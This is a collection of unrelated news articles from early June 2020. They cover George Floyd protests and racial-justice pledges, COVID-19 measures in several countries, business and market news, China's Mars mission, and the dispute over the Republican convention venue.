Michael Jordan and the Jordan Brand announced on Friday plans for a $100 million donation over the next decade "to organizations dedicated to ensuring racial equality, social justice and greater access to education."

Driving the news: Following George Floyd's killing and 11 days worth of Black Lives Matter protests in cities across the country, a variety of current and former athletes have also called for social justice reform.

The big picture: Black Americans are dying from the coronavirus at disproportionately high rates in many cities and states  which health officials attribute to the effects of economic inequality and chronic health conditions  while facing a greater likelihood of being shot and killed by police.

What they're saying: "The Jordan Brand is us, the Black Community," Jordan said in a statement. "We represent a proud family that has overcome obstacles, fought against discrimination in communities worldwide and that works every day to erase the stain of racism and the damage of injustice."

"Black lives matter. This isn't a controversial statement. Until the ingrained racism that allows our country's institutions to fail is completely eradicated, we will remain committed to protecting and improving the lives of Black people," the company said.

Jordan also released a statement last Sunday addressing the death of Floyd, saying:

"I don't have the answers, but our collective voices show strength and the inability to be divided by others. We must listen to each other, show compassion and empathy and never turn our backs on senseless brutality. We need to continue peaceful expressions against injustice and demand accountability. Our unified voice needs to put pressure on our leaders to change our laws, or else we need to use our vote to create systemic change. Every one of us needs to be part of the solution, and we must work together to ensure justice for all."

The statement did not specify which organizations the donations will support.

Go deeper: Black Americans' competing crises
A Perspective on Race in Movie, Black or White

As I was watching all of the protests nationwide and around the globe  over the wrongful and tragic death of Minnesotan George Floyd  I happened to surf to a channel featuring the movie Black or White.

The movie, with an all-star cast headlined by Kevin Costner (Elliott Anderson), and Octavia Spencer (Rowena), is based on real events about a biracial granddaughter Eloise (Jillian Estell), being the object of a custody battle between her white grandfather, and her black absentee biological father. The story plays out where both Elliott, and Rowena (the dominant black grandmother) are forced to confront their true feelings about race, unforgiveness and misunderstanding.

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While I am happy that the Black Lives Matter movement has kept the heat on lawmakers and law enforcement to bring things to where they are today, it seems everyone is speaking the same language. Typically, when the lights go off and the cameras stop rolling, we seem to fall right back into business as usual.

However, since we are all affected by the COVID-19 pandemic, there is a unique window of opportunity to ensure that does not happen. Therefore, what is a new language that can be presented to force different ethnicities to face racial differences as Elliott and Rowena did in the movie? Words like systemic inequity, police reform and judicial reform seem to be falling on deaf ears. What does that look like? Its one thing to have diversity in the workplace because our paychecks depend on it; but its quite another when we leave and go back to our own little corners.

During this pandemic, how can we bring things back better? America! We give way too much attention to celebrities in the sports, music and movie industries. Why do we idolize people who are being paid way too much in proportion to our teachers who are the real heroes? And on that note, why do movies continue to show Black and Brown people in a negative dysfunctional light just to show (in some rare cases) how they overcome or find redemption in the end. Its no wonder other races are wary to associate when all they see are people with frowns, a chip on their shoulder and ready for confrontation at the drop of a hat. Its life imitating art!

And White people, why not mentor people of color on your job or in your spare time? There are some great mentoring programs that exist, but seldom (if at all) do we see you. Do you know there are some people of color in South and East Los Angeles who have never seen a White person unless its on TV?

Also, somebody knows where how/where/why there is such a proliferation of guns in poor neighborhoods  how are they getting into the hands of poor, uneducated kids? It was touching to see a photo of hospital staff at New Yorks Memorial-Sloan Kettering Cancer Center who came out in their scrubs from their essential jobs to take a knee and say thank you to the protesters as they went by. I wish someone would take the initiative to promote a cure for the cancer of gun-violence in our under-served communities.

I highly recommend the movie, Black or White. Although it was made in 2014, the producers were on to something. Maybe we could get some new creative ideas from it that would help bridge the gaps between us and them. MSNBCs Rachel Maddow says, Maybe we can see this thing a whole different way.

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Larry Buford is a Los Angeles-based contributing writer. Author of Things Are Gettin Outta Hand and Book To The Future (Amazon). Email: [email protected]
BAKU, Azerbaijan, June 5

By Ilkin Seyfaddini - Trend:

The number of confirmed coronavirus cases in Uzbekistan increased by 91 to 3,965, Trend reports on June 5 with reference to the Ministry of Health.

To date, 3,087 patients have fully recovered in the country, 16 have died.

Uzbekistan has divided the country into certain "red", "yellow" and "green" zones, with regards to the level of COVID-19 pandemic spread level.

The Special Republican Commission for the preparation of a program of measures to prevent the spread of the coronavirus in Uzbekistan has extended the quarantine until June 15, 2020. Since May 15, the commission has lifted some restrictions on certain activities in Uzbekistan.

By decision of the Special Republican Commission from June 15 in "green" and "yellow" regions will resume the activities of catering, kindergarten and clothing markets.

The "red" zones include Uzbekistan's Karakalpakstan Autonomous Republic, Andijan, Namangan, Fergana, Samarkand, Bukhara, Syrdarya and Tashkent regions (also divided into zones). The "yellow" zones include Khorezm region and Tashkent city. The "green" zones include Jizzakh and Surkhandarya regions.

Earlier, in Kitab district of Kashkadarya region (previously - "green" zone), the quarantine regime has been tightened.

Recently, Navoi region was transferred from "green" zone to the "red" zone.

The first case of coronavirus infection in Uzbekistan was detected on March 15 in the laboratory of the Research Institute of Virology; it was an Uzbek woman who returned from France. The Ministry of Health later announced that her son, daughter, husband and grandson also tested coronavirus-positive.

---

Follow author on Twitter: @seyfaddini
Diem is planning to open its doors for retail marijuana sales in Worcester next week.

After receiving notice from the Cannabis Control Commission on Friday to commence operations in three calendar days or later, Diem notified the city that it plans to open at 9 a.m. on June 12, according to store manager John DiNovella.

The store at 74 Grafton St. will be the second recreational marijuana business in the city. Good Chemistry opened on Harrison Street for recreational sales last year after first offering medical marijuana.

Currently, recreational marijuana businesses are only allowed to offer curbside pickup under Phase 1 of Gov. Charlie Bakers reopening plan. During the coronavirus pandemic, recreational stores were shut down for two months, though medical businesses were allowed to operate.

DiNovella said Diem is set up for curbside pickup, but if Baker announces Phase 2 of the reopening plan can begin sometime next week, Diem will allow customers to pick up in store. Customers will be able to make orders online.

Phase 2 will allow some businesses in Massachusetts to welcome customers back into stores, though an exact start date depends on key health metrics. Baker is expected on Saturday to announce a start date for the phase.

Diem has taken precautions to open safely amid the pandemic, DiNovella said, and will be taking measures like sanitizing high-touch surfaces regularly.

For opening day, Diem plans to sell a wide variety of flower, pre-rolls, concentrates, edibles and more, DiNovella said.

Diem also has locations in Portland and Salem, Oregon.

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Butch Sanders, the city manager of Snellville, said the timing of Mr. Sisays death was unfortunately close to that of Mr. Floyd, but that the two incidents should not be compared. He said the police report states that Mr. Sisay pointed his gun at the officers before they opened fire, and discharged his own revolver five times during the altercation.

We pride ourselves that we have a professional police force that makes good decisions, and I can tell you that this situation is 180 degrees different from the George Floyd situation, he said. Its just a terrible unfortunate incident, and the timing is obviously awful. Its just the facts are so much different.

The fatal encounter began around 4 a.m. on May 29, when Mr. Sisay refused to stop his car as police officers attempted to pull him over for having expired registration tags, according to a preliminary report from the Georgia Bureau of Investigations. The police then initiated a pursuit intervention technique which caused the vehicle to leave the roadway, the report said. Mr. Sisay refused to comply with verbal orders to raise his hands and instead flashed a handgun at officers, it said.

An officer fired at Mr. Sisay, then retreated for cover, after which Mr. Sisay revved his engine, attempting to flee the scene, the report said. Officers called for backup from the Gwinnett County SWAT team, but Mr. Sisay continued to refuse to comply with verbal orders and instead fired his weapon at the officers. One officer returned fire, killing Mr. Sisay, the report said.

But a recorded interview conducted by The Atlanta Journal-Constitution with two officers who were present during the altercation told a different story. In it, Detective Jeff Manley of the Snellville Police Department said that Mr. Sisay discharged his weapon before the SWAT team arrived. An officer with the Gwinnett County Police Department made no mention of Mr. Sisay discharging his weapon.
By Trend

The Central Bank of Azerbaijan (CBA) held a foreign exchange auction with the participation of the State Oil Fund of Azerbaijan (SOFAZ), during which Azerbaijani banks acquired $44.7 million, Trend reports referring to the CBA.

The demand from the banks at the auction decreased by 21.2 percent or by $12 million compared to the figure during the previous auction.

Taking into account the number of days remaining before the next scheduled auction, as well as with the aim of ensuring uninterrupted currency trading by the banks, the demand of banks at the auction will be fully ensured during weekends.

The first foreign exchange auction after a long time was held with the participation of SOFAZ on March 10, 2020, during which Azerbaijani banks acquired $323.2 million.

The CBA has begun to hold foreign exchange auctions through unilateral sale of foreign currency in competitive conditions since mid-January 2017.

A decision was made in March 2020 to hold extraordinary foreign exchange auctions in connection with the increased demand of the population for foreign currency amid the failed OPEC+ deal, which entailed a sharp decline in oil prices.




Mrs. Cynthia Mamle Morrison, Minister of Gender, Children and Social Protection, has cut the sod for construction works to start on a two 5-kilometre Swedru Township roads.

Three contractors are undertaking the job, which is being funded by the World Bank, and expected to be completed in six months.

This involves bitumen-surfacing of the Osama Lorry Station - Esukwantsin, Egyabusua, Mahodwe Top Hills to Urban (B) Basic School and Swedru Taxi Rank.

She said the tarring of the roads was in fulfillment of a promise made to the chiefs and people by, Nana Addo Dankwa Akufo-Addo, when he visited the town in year 2018.

Mrs. Morrison, who is also the Member of Parliament (MP) for Agona West, said apart from the 2.5 kilometer of roads, there would be improvement of more other roads to give Swedru, a facelift.

The Roads and Highways Ministry had already awarded on contract, the Swedru School of Business campus road to join Swedru/Awutu-Bawjiase trunk road and the Woraba Estate-Swedru road.

Selected roads at Agona Nyakrom, Upper and Lower Bobikuma, would also be tarred.

Mrs. Morrison said the Akora River Bridge Project started by the previous National Democratic Congress (NDC) Administration had been re-packaged and re-awarded and that work was going to soon start on it.

She added that three bridges would be constructed at Old Swedru-Sawmill, Nkubem and Sabo- Zongo - Mahodwe Palace.

Mr. Kingsley Adjei Boahene, Chief Director of the Central Regional Coordinating Council (RCC), announced that three Municipalities in the region had received funds from the World Bank to undertake development projects.

They are; Agona West, Mfantseman West and Awutu Senya East (KASOA).

To ensure quality work and value for money, he said the RCC, had formed a Monitoring and Evaluation Team to supervise projects.

Mr. Boahene asked the Agona West Municipal Assembly to ensure that persons who would be affected by the road construction were compensated.

Mrs Justina Marigold Assan, the Municipal Chief Executive (MCE), praised the people for their support, cooperation and understanding after the project contractors and consultants had met to brief them.

She appealed to the contractors to work assiduously as the people were expecting them to complete the project on schedule.

---GNA
[June 05, 2020] Andrea Short Elected President, Jim Seitz as Vice Chairman of 1st Source Bank

1st Source (News - Alert) Bank announces the Board of Directors' election of Mr. Jim Seitz as the Vice Chairman of the 1st Source Bank Board of Directors and the election of Ms. Andrea Short to President of 1st Source Bank. Ms. Short replaces Jim Seitz as president starting July 1, 2020. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005497/en/ Andrea Short, President of 1st Source Bank (Photo: Business Wire) Seitz was elected President of 1st Source Bank in 2012, and President of 1st Source Corporation in 2014. As president, Seitz oversaw all the Bank's business and commercial banking, specialty finance lending, and banking centers. "On behalf of the Board of Directors, I am pleased to announce that Jim will bring his exemplary leadership and executional skills to his new role of Vice Chairman," states Chris Murphy, Chairman and CEO of 1st Source Corporation and 1st Source Bank. "As President of 1st Source, Jim was committed to delivering outstanding client service and leaves a wonderful legacy of servant leadership." Seitz will serve as Vice Chairman of the Board of 1st Source Bank until his retirement in spring 2021. Short earned her promotion to President of 1st Source Bank by demnstrating a strong track record of initiating and leading change, driving results, and by strengthening operational risk management and compliance. She was elected Chief Financial Officer of 1st Source Bank in 2013, and will continue in this capacity. "Andrea's strong leadership skills, integrity and commitment will continue to deliver on our mission of helping our clients achieve security, build wealth and realize their dreams," Mr. Murphy added. "This change is part of and a result of our long-term active succession planning with our Board of Directors. I could not be more pleased that the Board of 1st Source Bank has elected Andrea Short to serve as President of 1st Source Bank and that she will continue as our Chief Financial Officer. She has exemplified servant leadership throughout her career, caring more about our colleagues, our clients, and the Bank than she does for herself." Short also serves on the Boards of 1st Source Capital Corporation and the 1st Source Foundation.



Ms. Short started at 1st Source Bank in 1998 as Tax Director. She was quickly promoted to Vice President and Controller with responsibilities for all finance and accounting functions for 1st Source Corporation, its subsidiaries and affiliates. Short is a CPA with a B.A. degree from Alma College. She has also completed the University of Chicago Booth School of Business' Chicago Management Institute. Andrea is a volunteer with Meals on Wheels, Habitat for Humanity, and Feed My Starving Children. For the past eight years she has also served on the Board of The Medical Education Foundation which serves as the Citizens Advisory Committee for the Indiana University (News - Alert) School of Medicine in South Bend at Notre Dame. Seitz received his M.B.A. from the University of Notre Dame and a B.S. in Business Marketing from Indiana University. He is active in the community with the Community Home Buyers Corporation, St. Anthony de Padua Church, the Juvenile Diabetes Association, the Regional Development Authority, the Chancellors Advisory Committee at Indiana University South Bend and the Indiana University and Notre Dame Alumni Associations.

1st Source Corporation, parent company of 1st Source Bank, has assets of $6.74 billion and is the largest locally controlled financial institution headquartered in the northern Indiana-southwestern Michigan area. The Corporation includes 80 banking centers, 15 1st Source Bank Specialty Finance Group locations nationwide, eight Trust and Wealth Advisory Services locations and ten 1st Source Insurance offices. For more than 156 years, 1st Source has been committed to our mission of helping our clients achieve security, build wealth and realize their dreams. For more information, visit www.1stsource.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005497/en/

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Source: Xinhua| 2020-06-05 04:49:45|Editor: huaxia

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MUSCAT, June 4 (Xinhua) -- The Sultan of Oman on Thursday ordered the establishment of a national investment body to manage the country's sovereign wealth funds, Oman News Agency reported.

"All allocations, assets and investments" of State General Reserve Fund and Oman Investment Fund will be transferred to the Oman Investment Institution, said a royal decree issued by Haitham bin Tariq.

The Directorate General of Investments and government companies at the finance ministry and all government companies except Petroleum Development Oman will also be incorporated in the new body, according to the decree.

Both State General Reserve Fund and Oman Investment Fund will be cancelled, it noted. Enditem
Stocks in the news today: Here is a list of top stocks that are likely to be in focus in Friday's trading session based on latest developments. Companies set to announce their earnings are State Bank of India, L&T, Jyothi Labs, Exide Industries, Saregama, Alkem Laboratories, Greaves Cotton, Gujarat Gas among others. Investors will also be taking cues from the latest released March quarter earnings

Key highlights on share market; check the latest stock market news

- On Thursday, Sensex closed 128 points lower at 33,980 and Nifty ended 32 points lower to 10,029

- On a net basis, FIIs bought Rs 2,905 crore , while DIIs sold off Rs 847 crore worth in equities on Thursday.

Share Market LIVE: Sensex rises 200 points, Nifty at 10,095; Bharti Airtel, Infratel top gainers

Bharti Airtel: The telcom major has clarified that it works with digital and OTT platforms from time-to-time, but has no other activity to report. The statement came in response to an agency report which claimed Seattle-based retail giant Amazon is planning to buy stake in the Indian telecom major.

Powergrid: Telecom Department has asked the company to pay Rs 13,614 cr on account of licence fee for FY07-10, which includes licence fee, interest, penalty & interest on penalty.

Safari Industries: The company reported a 22% rise in profit at Rs 4.68 crore during the quarter ended March 31, 2020, as against Rs 3.81 crore, recorded in a year-ago period. Company's total income rose 1.62% (YoY) to Rs 145.08 crore in the January-March quarter of the current fiscal as compared to Rs 142.77 crore in a year-ago period.

Lupin: The company in collaboration with and Mylan has received European marketing authorization for Nepexto, Biosimilar Etanercept

Ashok Leyland: The company has launched its range of Modular Trucks, AVTR, with i-Gen6 BS-VI technology. The centralized marketing authorization applies to all member countries of the European Union.

Tourism Finance Corporation: The company reported a 52% drop in profit at Rs 12.17 crore during the quarter ended March 31, 2020, as against Rs 25.52 crore, recorded in a year-ago period. Company's total income fell 21.01% (YoY) to Rs 54.43 crore in the January-March quarter of the current fiscal as compared to Rs 68.91 crore in a year-ago period.

NIIT: The company reported a 97% drop in profit at Rs 0.6 crore during the quarter ended March 31, 2020, as against Rs 23 crore, recorded in a year-ago period. Company's total income rose 13.82% (YoY) to Rs 211 crore in the January-March quarter of the current fiscal as compared to Rs 219 crore in a year-ago period.

Q4 earnings today: State Bank of India, L&T, Jyothi Labs, Exide Industries, Saregama, Alkem Laboratories, Greaves Cotton, Gujarat Gas, Aditya Birla Capital, Cheviot, HFCL, Infibeam, Kirloskar Brothers, Timken, Suven Life Sciences, Sumitomo Chemical among others will report their March quarterly results today.
Two Buffalo, New York, police officers have been suspended without pay after a video showed them shoving a 75-year-old man to the ground, as protests over the police killing of George Floyd continued into their tenth night.

The video taken by a reporter from local public radio station WBFO and posted on its website and Twitter account shows the white-haired man approaching a line of officers in riot gear. One officer pushes him with a baton and a second one with his hand. The sound of a crack is heard and then blood trickles from the man's head. The man, who is white, is not identified.

"I was deeply disturbed by the video," Buffalo Mayor Byron Brown said in a statement. "After days of peaceful protests and several meetings between myself, police leadership and members of the community, tonight's event is disheartening."

The incident drew widespread condemnation on social media as protesters returned to the streets of several US cities to demonstrate against police brutality.
Weekend Preview: Check Out This Trio Of Awesome MTTs

June 05, 2020

The online poker tournament scene has been ridiculously busy these past few weeks with festivals taking place seemingly everywhere. Those festivals are now done and dusted, but there is still plenty of value to be had across the board. Here are three tournaments that are definitely worth checking out over the weekend.

$500,000 Gtd GGMasters Freezeout

The GGMasters at GGPoker is one of the best value tournaments online right now. This $150 buy-in tournament features a $500,000 guaranteed prize pool and is something of a rarity in that its a freezeout.

The main reason its a freezeout is because you receive Player of the Year leaderboard points when you reach the money places. Finish at the top of the leaderboard at the end of 2020 and youll become a GG ambassador with a package worth up to $500,000! The rest of the top 10 win tickets to each and every GGMasters tournament taking place in 2021!

Last weeks GGMasters drew in a crowd of 4,262 who created a $588,156 prize pool. It ended in a heads-up chop between Chinas gokchinees! and BangBang! of Ecuador. Gokchinees! walked away with $72,417 while the runner-up collected $70,104.

Win your way into this weeks GGMasters from only $1.50.

Where do you rank in the GGMasters POY race?

Sunday Million Gets Summer Series Treatment; $1.5 Million Gtd PKO

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The mayor of Omaha, Nebraska, has apologized for calling a Korean American woman "a Facebook troll" and "a coward" because she displayed her name in Korean on social media.

The woman, Soyeon Sohn, commented on Facebook this week after the city imposed a curfew in response to protests over the death of George Floyd. She used the symbols of the Korean alphabet for her name, prompting the racially insensitive response from Mayor Jean Stothert, a Republican.

A Facebook troll who hides behind symbols and doesnt list their name, is a coward, Stothert said on her Facebook page. She later apologized, saying she did not recognize the Korean alphabet.

Sohn, who was adopted when she was 4-months-old, was raised in Hastings, Nebraska, and says she struggled with her ethnicity and culture while growing up. She told NBC local affiliate WOWT 6 News that she was hurt by the mayors comments.

I was caught off guard more than anything, Sohn said. A public official making that statement publicly on her own Facebook page degrading a citizen  thats just uncalled for and unprofessional.

The mayor's reply drew outrage and has since been deleted from her Facebook page. Many commenters noted the mayors ignorance of unknowingly insulting someone for their name.

When the mayor was initially asked if she would apologize on Tuesday, she said no, according to WOWT 6 News. However, she later said she didn't realize the characters were Sohns name and formally apologized to Sohn at the end of a news conference Wednesday afternoon about the end of the citys curfew.

On Facebook the other day, I made a comment that I shouldnt have made. It was inappropriate, and I will apologize, Stothert said.

She also explained her confusion: I referred to her not using her name because I saw these symbols or letters, but they were Korean.

Stothert did not immediately return a request for comment from NBC.

The Korean Association of Nebraska told NBC Asian America that an hour before the news conference, Stothert wrote a letter admitting her mistake and taking responsibility for her comments.

I apologize to Ms. Sohn and all who were offended, Stothert said in the letter. It was not my intent to question her background or heritage.

David Kang, president of the organization, said that he had accepted Stotherts apology and that he will meet with her and Sohn at the mayors office on Friday morning.
BEIJING, June 2 (Xinhua) -- China plans to launch its first Mars probe between July and August this year, aiming to complete orbiting, landing and roving in one mission, an expert said in a recent interview with the state broadcaster CCTV.

After the launch via China's largest carrier rocket Long March-5, the probe is expected to reach within the gravitational field of Mars next February and it will be captured into orbit around the planet, said Bao Weimin, an academic with the Chinese Academy of Sciences.

He is also the director of the Committee of Science and Technology under the China Aerospace Science and Technology Corporation.

According to Bao, China's Mars probe consists of an orbiter as well as a lander and a rover. The lander and rover will make a soft landing on the surface.

The Mars rover, which is expected to work on Mars for at least 90 Mars days (more than three months on Earth), will carry out patrol exploration and research on geomorphic landforms of Mars.

A safe landing on Mars is the most difficult and risky part of the mission, and the lander carrying the rover will be slowed down through four steps, Bao noted.

The first step, which will last for about 290 seconds, is akin to breaking, slowing down its speed from 4.8 km per second to 460 meters per second.

Next, a parachute will be opened and it will take about 90 seconds to lower the speed from 460 meters per second to 95 meters per second.

A reverse thrust engine will then be ignited, decelerating the speed to 3.6 meters per second in about 80 seconds.

After the first three steps, the lander carrying the rover will be about 100 meters above the Mars surface. Hovering in the air, it can observe the surface, adjust its position and select a safe spot to land in an obstacle-avoiding mode.

The whole landing process will take about seven to eight minutes, said Bao.

Last November, China successfully mounted an experiment simulating the process of a probe hovering, avoiding obstacles and descending to land on Mars.

In April China announced that its first Mars exploration mission was named Tianwen-1. The name comes from the long poem "Tianwen," meaning Questions to Heaven, written by Qu Yuan (about 340-278 BC), one of the greatest poets of ancient China. Enditem

[ Editor: SRQ ]
Republican Presidential Candidate Donald Trump, speaks during the final day of the Republican National Convention in Cleveland, Thursday, July 21, 2016.

Carolyn Kaster/AP

President Donald Trump called North Carolina Gov. Roy Cooper Friday in an attempt to appeal the governor's position on hosting a socially-distanced Republican National Convention, The Washington Post reported.

Trump insisted on hosting the event at full capacity, whereas Cooper proposed a scaled-down convention as a precaution amid the coronavirus pandemic.

"Since the day I came down the escalator, I've never had an empty seat and I find the biggest stadiums," Trump told Cooper, recalling when his presidential candidacy for the Republican party was announced at the Trump Tower in New York in June 2015.

"I don't want to be sitting in a place that's 50 percent empty," the president continued on the call, according to two people familiar with it.

The convention was planned to take place in late August at the Spectrum Center in Charlotte, North Carolina. The event page, which has yet to be updated, states that nearly 50,000 attendees are expected over the course of the convention.

However, Cooper has taken a cautious approach to reopening amid the COVID-19 pandemic; the state is currently in Phase 2 of reopening, which allows indoor gatherings of up to 10 people.

Visit Business Insider's homepage for more stories.

President Donald Trump called North Carolina Gov. Roy Cooper Friday to appeal his decision to host a socially distanced Republican National Convention amid concerns relating to the coronavirus, The Washington Post reported.

Trump told Cooper that he wouldn't comply with a scaled-down version of the convention because he said he doesn't "want to be sitting in a place that's 50 percent empty" when his presidential renomination is announced, according to two people familiar with the call.

"Since the day I came down the escalator, I've never had an empty seat and I find the biggest stadiums," he told Cooper, recalling when his presidential candidacy for the Republican party was announced at the Trump Tower in New York in June 2015.

Story continues

Video: 2 truths and a lie about the coronavirus and social distancing

Crowd size, especially at his campaign rallies, has been a point of contention between Trump and the media after the president repeatedly insisted that his events fill stadiums, though some news outlets reported that Trump inflates the attendance figures.

The North Carolina governor proposed reducing the number of attendees to allow for proper social distancing and lower the risk of spreading the virus.

"We can't do social distancing," the president simply said in the call, citing The Post report.

The governor reportedly asked Trump if he was worried about the risk of infection among his followers with a crowd of that size, to which Trump responded "No, I'm not because we've learned a lot about it," referring to the coronavirus.

Trump added that older people are more susceptible to the virus, and that the infection rate "is so small," according to the two people. He said that he will offer coronavirus tests to attendees and those who test negative could wear a stamp of some kind to denote their diagnosis.

"I believe other states will do it," Trump said on the call. "Otherwise, we'll cancel the whole damn thing."

Representatives from the White House and from Gov. Cooper's office did not immediately respond to Business Insider's request for comment on the call.

Cooper has taken a cautious approach to reopening amid the COVID-19 pandemic; the state is currently in Phase 2 of reopening, which allows indoor gatherings of up to 10 people.

The Spectrum Center, where the convention was originally planned to take place on August 24-27, has a capacity of 20,000 people, and the event page, which has yet to be updated, states that nearly 50,000 attendees are expected over the course of the convention.

Trump previously mocked Cooper for his "shutdown mood" in a tweet last week and threatened to pull the event from the state if Cooper didn't agree to ease the coronavirus precautions. Cooper again refused to comply, and Trump tweeted Wednesday that the RNC convention will no longer take place in North Carolina.

"Governor Cooper is still in Shelter-In-Place Mode, and not allowing us to occupy the arena as originally anticipated and promised," Trump tweeted Tuesday night. "Would have showcased beautiful North Carolina to the World, and brought in hundreds of millions of dollars, and jobs, for the State."

Cooper responded to Trump's tweet, writing how it was "unfortunate" that the coronavirus safety precautions he suggested could not be met.

"We have been committed to a safe RNC convention in North Carolina and it's unfortunate they never agreed to scale down and make changes to keep people safe," Cooper tweeted Wednesday. "Protecting public health and safety during this pandemic is a priority."

Read the original article on Business Insider
By PTI

NEW DELHI: The Delhi High Court was informed on Thursday by the AAP government that its guidelines for COVID-19 lockdown allow people with medical emergencies to enter the national capital by applying for an e-pass which will be made available to them.

The Delhi government said its Disaster Management Authority (DDMA) has issued an order on June 1 with regard to prohibited and permitted activities, during the phased reopening - unlock 1, and the guidelines permit entry into the national capital from neighbouring states in case of medical emergencies.

The submission was made before a bench of Chief Justice DN Patel and Justice Prateek Jalan by additional standing counsel Sanjoy Ghose and advocate Urvi Mohan, appearing for the Delhi government.

Taking note of the submission and the DDMA order of June 1, the bench disposed of a plea by lawyer Kushagra Kumar seeking immediate de-sealing of Delhi borders to enable citizens in NCR or other states to access central government hospitals and medical facilities in the national capital.

ALSO READ | Interstate movement: Supreme Court asks NCR states to hold meeting to consider common policy

While disposing of the matter, the court directed Delhi government to upload the June 1 order on its various department websites today itself in a prominent manner and have it highlighted for easy access by the citizens.

The AAP government has sealed the Delhi borders for one week starting June 1 and Chief Minister Arvind Kejriwal had said that the moment we open the borders, people from across the country will come to Delhi for treatment.

Delhi hospitals should be reserved for the people of Delhi.

Delhi-Gurugram, Delhi-Ghaziabad and Delhi-Noida borders are shut for a week.

Only essential service providers will be allowed and employees could cross the border by showing their identification cards or ID cards, Kejriwal had said.

The plea had said those working in Delhi and residing in NCR like Noida and Gurugram or other states are deprived of their right to avail central government's medical facilities like AIIMS in Delhi.

"The order of the Delhi government is not only inhumane and illegal but authoritarian in nature.

Instead of creating medical infrastructure and working to ensure medical facilities, it is sealing the borders and thereby stopping people from availing medical facilities in central government hospitals in Delhi," it had claimed.
Friday will also see four domestic flights arriving from Marsa Alam

Egypts Cairo International Airport is set to receive 23 special flights from Europe and other international destinations on Friday to repatriate citizens stranded abroad amid the coronavirus pandemic.

Airport sources told Al-Ahram Arabic website that the flights, carrying a total of 3,346 Egyptians, would arrive from London, Moscow, Frankfurt, China, Nairobi, Dar es Salaam, Saudi Arabia, Kuwait and Beirut.

The airport will also receive four domestic flights from the Red Sea resort city of Marsa Alam after the conclusion of the quarantine period of around 400 Egyptian returnees from abroad.

This follows a decision on Wednesday to scrap the system of placing returnees in hotels repurposed for quarantine in the Red Sea resort town, replacing it with home quarantine.

Instead of being quarantined in repurposed hotels, university dorms, or student hostels, returnees will instead be required to self-quarantine at home for two weeks as a precaution against the virus.

Egypt suspended international flights at its airports in March, although cargo and domestic flights are continuing.

Specially organised repatriation flights have brought home at least 12,000 Egyptians so far.

Limited flights have also been operated to a few international destinations, with EgyptAir announcing a special flight to Frankfurt on Friday.

Egypt is considering a gradual resumption of international flights in the second half of June or first half of July, cabinet spokesman Nader Saad said earlier this week,

The cabinets coronavirus committee is set to hold a meeting next week in which they will discuss the resumption of flights.

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Photo credit: Ezra Bailey - Getty Images

From ELLE

My hand was licked within the first five minutes.

This isnt the kind of reception most people will be expecting when they return to work post lockdown. But for primary school teachers across the UK, its a scary and palpable danger. For as much as you might attempt to counsel them, children aren't always able to interact in the new way that the coronavirus pandemic requires of us.

The student has a lot of sensory needs so there wasnt a lot I could do to prevent it, Jemima, a primary school teacher in East London, tells me on her commute home from her first day back at school.

On March 18, prime minister Boris Johnson announced that schools would close indefinitely for up to eight million pupils in England during the health crisis. The decision marked the first countrywide school shutdown in modern British history. In the nine weeks that followed, teachers were faced with the gargantuan challenge of creating entirely new curriculums from scratch, interacting with students remotely using online resources, and some being called on to teach a number of vulnerable children, and children of key workers, in school buildings.

However, as lockdown measures began to relax at the end of May, the government announced that schools would be among the first establishments to re-open their doors. On Monday June 1, Johnson asked primary schools to welcome back children in nursery, Reception, year 1 and year 6, in addition to priority groups.

Alongside good hygiene and cleaning, one of the main protective measures we can take to reduce transmission is to have small group and class sizes, it states in its guidelines.

The decision to reopen schools, despite the government continuing to enforce social distancing guidelines to the wider public as Covid-19-related deaths continue, has received very mixed reviews from teachers, parents and educational governing bodies, according to Geoff Barton, general secretary of the Association of School and College Leaders (ASCL) heads' union.

Story continues

This week, some head teachers have reported highly variable levels of attendance, with a recent survey from the National Foundation for Educational Research finding that almost 50 per cent of children would be kept at home by parents. Meanwhile, some schools have postponed reopening their doors entirely, with Kevin Courtney, the National Education Union co-leader, stating that delaying it would make our communities safer.

Photo credit: FELIX - Getty Images

With schools in other areas of the UK scheduled to reopen later this month (Wales) and as late as August (Scotland and Northern Ireland), Johnsons decision begs the question: has it been too soon to welcome back students as we continue to fight the virus?

We spoke to three female primary school teachers to find out what its been like returning to the front line in England and how safe they feel in the workplace.

The new play time

According to government guidelines, prior to schools reopening classrooms should have been adapted to allow bubbles of up to 15 children and staff and to remain apart with masks, gloves, aprons and hand sanitiser delivered to schools to keep safety measures in place.

In addition, children are now required to stay within their bubbles wherever possible and staff must implement a range of protective measures including increased cleaning and utilising outdoor space.

The practicalities of enforcing social-distancing among children has been one of the biggest concerns for parents and staff. As anyone who has been around a child in lockdown will know, enforcing the two-metre rule is as possible as finding flour in Sainsbury's.

Last month, Debbie Whiting, a headteacher at a primary school in Norfolk informed parents Facebook that social distancing would 'never' exist. I can tell you quite honestly that there is no such thing as social distancing in a school - we can try but we certainly cannot guarantee it, she warned.

Daisy*, who is currently working in a bubble with Year 1 students at a primary school in Crawley, West Sussex says explains how her place of work has done its best to adhere to the governments advice.

Weve set up the classrooms so that students desks are at least two metres apart, there are dots on the carpets where you can sit and markers on the ground outside to show parents where they can drop students off, she says. Its incredible how weve kept the schools friendly environment without it feeling sterile with the introduction of hand gels and soaps everywhere.

Photo credit: MelanieMaya - Getty Images

Jemima informs me that her primary school has enforced a one-way system around the school to avoid the possibility of crowding in the corridors, fenced off playground equipment, staggered break times and covered books in clingfilm to prevent contact.

Were also getting the students to make their own personalised soaps with small toys inside which theyre carry around in Tupperware boxes, she says. Its a great incentive to get them to wash their hands regularly.

Daisy's school now operates on a rota, which sees teachers and students divided into shifts and attending school every other week in their bubbles. The school also shuts on a Wednesday at lunchtime, to allow for extra deep cleaning on top of the weekend's cleaning. Its complicated  theres a lot to get your head around.

New responsibilities

Anyone with a friend, relative or partner who is a teacher will know that teaching the curriculum is just one element of the role. In addition to educating children in maths, English and science, teachers are expected to develop students soft skills like communication, leadership, social intelligence and problem solving.

Fortunately, guidance from the Department for Education (DfE) has stated that schools will not be penalised if they fail to offer a broad and balanced curriculum when they reopen, given the pressures teachers now face amid the pandemic.

It will not be business as normal in schools, both because of the protective measures which will need to be implemented, and because children will need to be supported in returning to the school environment, explains Barton.

Alice, who teaches a bubble of Year 4 and Year 5 key workers children in West London, says that she and her colleagues have found their roles change dramatically since returning to the classroom.

Prior to lockdown, wed started to teach the students how to wash their hands properly and discussed hygiene, but now that weve returned to school were having to be increasingly strict with what theyre allowed to do and adapt our teaching styles, she explains.

